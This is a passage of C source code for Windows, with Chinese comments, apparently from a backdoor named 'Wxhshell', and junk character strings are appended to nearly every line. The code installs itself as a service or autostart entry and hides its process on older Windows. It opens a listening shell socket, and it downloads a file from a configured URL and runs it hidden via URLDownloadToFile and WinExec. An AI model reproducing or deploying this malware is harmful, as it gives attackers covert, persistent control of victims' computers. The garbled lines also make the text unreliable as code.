ULONG UniqueProcessId; "XC6 l4Z
ULONG InheritedFromUniqueProcessId; 8<!qT1
} PROCESS_BASIC_INFORMATION; Z
mi<Z
%/etoK
PROCNTQSIP NtQueryInformationProcess; z8Dn<h
8ZG'?A+{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oku4EJFJ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tx5_e[
0A?w,A`"
HANDLE hProcess; ;%dkwKO
PROCESS_BASIC_INFORMATION pbi; mZ/B:)_
lBG*P>;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
n#J$=@
if(NULL == hInst ) return 0; N8D'<BUC
i6`8yw
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Y'J0v2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _hh|/4(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t_]UseP$RF
lmmyDg1R
if (!NtQueryInformationProcess) return 0; z%Z}vWn
[0 &Lvx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]NFDE-Jz]
if(!hProcess) return 0; -S,dG|
"BFW&<1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =JVRm
2#*
r`B+ KQ4
CloseHandle(hProcess); Tl%4L%
bE
v$tS2N2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ok6e=c '
if(hProcess==NULL) return 0; yPQ{tS*t
]oya<C6pR
HMODULE hMod; _r8AO>
char procName[255]; n/|/Womr
unsigned long cbNeeded; ]@8=e'V
c=b\9!hr_E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bZG$ biq
X4k/7EA
CloseHandle(hProcess); =OHDp7GXO>
Xj@Kt|&`k
if(strstr(procName,"services")) return 1; // 以服务启动 "LxJPt\
ncA2en?
return 0; // 注册表启动 /N^+a-.Qd
}
g8x8u|
A!Yqj~
// 主模块 CTP%
int StartWxhshell(LPSTR lpCmdLine) n=>Gu9`
{ C {,d4KG
SOCKET wsl; >L;O, {Px-
BOOL val=TRUE; <n:?WP~U
int port=0; 6,h<0j{
struct sockaddr_in door; /<2_K4(-{4
gU%GM
if(wscfg.ws_autoins) Install(); b;O+QRa
&
vIKNGJ^
port=atoi(lpCmdLine); c"$_V[m
s6]f#s5o
if(port<=0) port=wscfg.ws_port; .)GVb<w
i~9)Hz;!
WSADATA data; #Nd+X@j
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GkC88l9z
3TtW2h>M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a&[n Vu+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hf-S6PEsM
door.sin_family = AF_INET; 4<Y?#bm'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =ht@7z8QM
door.sin_port = htons(port); @hvq,[
B::?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <>Im$N ai
closesocket(wsl); 9e5UTJ
return 1; 6{~I7!m"
} AK!G#ug
k);!H +
if(listen(wsl,2) == INVALID_SOCKET) { vKt_z@{{L
closesocket(wsl); 2P=;r:cx
return 1; x'qgpG}?]
} Txh;r.1e
Wxhshell(wsl); (`p(c;"*C!
WSACleanup(); 7ou^wt+%
'nno)kQ"
return 0; V_pBM
|(<L!6
} Q'VS]n
c>Se Onf
// 以NT服务方式启动 5ZVTI,4K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2~<0<^j/]
{ SMyg=B\x?7
DWORD status = 0; i@*
^]'
DWORD specificError = 0xfffffff; &}cie"\L
A
M2M87{t
serviceStatus.dwServiceType = SERVICE_WIN32; K?4(o u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; NP8TF*5V
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _+En%p.m
serviceStatus.dwWin32ExitCode = 0; bv/b<N@4?$
serviceStatus.dwServiceSpecificExitCode = 0; 1%,Z&@^j
serviceStatus.dwCheckPoint = 0; W<Lrfo&=Y]
serviceStatus.dwWaitHint = 0; U6Ak"
d
eg>m?Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * 5n:+Tw(
if (hServiceStatusHandle==0) return; b5Pn|5AVj
>$DqG$D
status = GetLastError(); zTLn*?
if (status!=NO_ERROR) d3GK.8y_z
{ )a\h5nQI)
serviceStatus.dwCurrentState = SERVICE_STOPPED; :3f2^(b~^
serviceStatus.dwCheckPoint = 0; 7o. 'F
serviceStatus.dwWaitHint = 0; arZIe+KW
serviceStatus.dwWin32ExitCode = status; } Kt?0
serviceStatus.dwServiceSpecificExitCode = specificError; O 0#Jl8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YkX=n{^
return; ]aNnY?qW5
} 4:$>,D\
wVDB?gy%#
serviceStatus.dwCurrentState = SERVICE_RUNNING; P~e$iBH'
serviceStatus.dwCheckPoint = 0; @'@6vC
serviceStatus.dwWaitHint = 0; AvZ) 1(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $0T"YC%
} RWFf-VA?
j_@3a)[NY
// 处理NT服务事件,比如:启动、停止 8F`
VOID WINAPI NTServiceHandler(DWORD fdwControl) S:/RYT"
{ YS~t d+*
switch(fdwControl) E]U0CwFtr
{ &Fjilx'k
case SERVICE_CONTROL_STOP: RWCS
u$
serviceStatus.dwWin32ExitCode = 0; +f!,K
serviceStatus.dwCurrentState = SERVICE_STOPPED; sdYj'e:N
serviceStatus.dwCheckPoint = 0; l-}5@D[
serviceStatus.dwWaitHint = 0; ;bZ*6-\!-
{ aLt{X)?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^G&D4uZ
} 8? Wxd65)
return; ^alZ\!B8
case SERVICE_CONTROL_PAUSE: ^85n9a?8
serviceStatus.dwCurrentState = SERVICE_PAUSED; <[:7#Yo
g
break; D1 ~x
case SERVICE_CONTROL_CONTINUE: PMhhPw]
serviceStatus.dwCurrentState = SERVICE_RUNNING;
x9"4vp
break; V9u\;5oL
case SERVICE_CONTROL_INTERROGATE: ,Bw)n,
break; 'QojSq
}; 8sIA;r%S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <3=qLm
} aroVyUs3j
:dIQV(iW
// 标准应用程序主函数 ~+ s*\~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kt,ynA
{ V!77YFen %
92]ZiL?k
// 获取操作系统版本 U?mf^'RE
OsIsNt=GetOsVer(); nIQ&gbfO
GetModuleFileName(NULL,ExeFile,MAX_PATH); bro
br;H8-
// 从命令行安装 7k=F6k0)
if(strpbrk(lpCmdLine,"iI")) Install(); (
*>/w$%
|4S?>e
// 下载执行文件 wp%FM
if(wscfg.ws_downexe) { }"?nU4q;S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TT2cOw
WinExec(wscfg.ws_filenam,SW_HIDE); ? x"HX|n
} EEs-&
-9>LvLU
if(!OsIsNt) { gFs/012{
// 如果时win9x,隐藏进程并且设置为注册表启动 QhXC>)PW
HideProc(); 4[#6<Ixf
StartWxhshell(lpCmdLine); kg:
uGP9
} /pN'K5@
else %8bzs?QI
if(StartFromService()) G_M:0YI@
// 以服务方式启动 (#bp`Kih
StartServiceCtrlDispatcher(DispatchTable); 2zKo
else B3dA%\'
// 普通方式启动 0SMQDs5j
StartWxhshell(lpCmdLine); ~|'y+h89
4W!\4Va
return 0; %l:|2s:
}